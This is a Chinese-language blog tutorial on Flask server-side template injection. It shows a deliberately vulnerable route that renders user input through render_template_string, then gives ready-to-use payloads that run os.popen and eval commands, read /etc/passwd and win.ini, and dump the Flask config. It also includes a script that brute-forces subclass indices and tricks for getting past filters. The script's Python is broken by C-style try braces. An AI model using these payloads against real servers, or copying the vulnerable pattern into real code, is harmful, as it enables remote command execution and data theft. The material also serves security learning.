当前位置:首页>python>Python Flask SSTI模板注入漏洞原理及利用

Python Flask SSTI模板注入漏洞原理及利用

  • 2026-09-02 19:08:10
Python Flask SSTI模板注入漏洞原理及利用
基本原理
from flask import Flask,render_template_string,requestapp = Flask(__name__)@app.route('/')def user():    '''个人中心'''    code = request.args.get('code')    return render_template_string(f"<h1>您状态是{code}</h1>")	#	用户输入的直接拼接到html代码中被渲染出来造成漏洞if __name__ == '__main__':    app.run()
flask使用{{}}包裹可以展示参数,如将表达式1+1插入发现执行并输出说明存在漏洞
基本利用
python中的魔术方法
__class__  		#	返回类型所属的对象__mro__    		#	返回一个在解析时的解析顺序的元组__base__   		#	返回该对象所继承的基类  						// __base__和__mro__都是用来寻找基类的__subclasses__   #	返回一个类中可用的的引用的列表__init__  		#	类的初始化方法__globals__  	#	对包含函数全局变量的字典的引用
例如
"Hello World".__class__.__mro__		#	获取字符串类的解析顺序元组"Hello World".__class__.__mro__[1].__subclasses__()		#	获取可用引用类''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()		#	找到file类型进行文件读取利用''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')	#	找到site._Printer类型进行命令执行
在flask中的利用如
print(test.__class__.__mro__[3].__subclasses__()[134].__init__.__globals__['popen']('dir').read())  #   执行了dir命令
常用注入模块
#	命令执行模块		eval{{"".__class__.bases__[0].subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}#	命令执行模块		os    {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}{{url_for.__globals__.os.popen('ls').read()}}{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen('ls').read()}}#	通过importlib加载os模块	importlib.BuiltinImporter{{().__class__.__mro__[3].__subclasses__()[84]["load_module"]('os')['popen']('dir').read()}}#	查找有eval/os的模块位置import requestsurl = input("输入url: ")for i in range(500):    #	data根据需求更改参数键和值    data = {		#	查找os.py时去除['__builtins__']        "name": "{{().__class__.__base__.__subclasses__()[''+str(i)+''].__init__.__globals__['__builtins__']}}"    }    try {        re = requests.post(url,data=data)        if re.status_code == 200:        #	根据需要查找eval还是os.py进行更改        	if "eval" in re.text:        		print(i)    }    except:        pass
#	文件读取模块		FileLoader		<class '_frozen_importlib_external.FileLoader'>print(test.__class__.__mro__[3].__subclasses__()[100]["get_data"](0,"C:/Windows/win.ini"))
#	读取flask配置文件		payload{{config}}{{url_for.__globals__['current_app'].config}}{{get_flashed_messages__globals__['current_app'].config}}
过滤绕过
过滤{{}}时
{# 判断{%%}是否能正常执行 #}{% if 2>1 %}test{% endif %}{# 使用print执行命令 提前构造脚本获取可执行popen函数的子类编号 #}{% print(''.__class__.__base__.__subclasses__()[177].__init__.__globals__['popen']('ls').read()) %}
关键字绕过
#	利用""过滤{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}->{{config["__cl""ass__"]["__in""it__"]["__global""s__"]["os"]["po""pen"]("ls")["re""ad"]()}}

最新文章

随机文章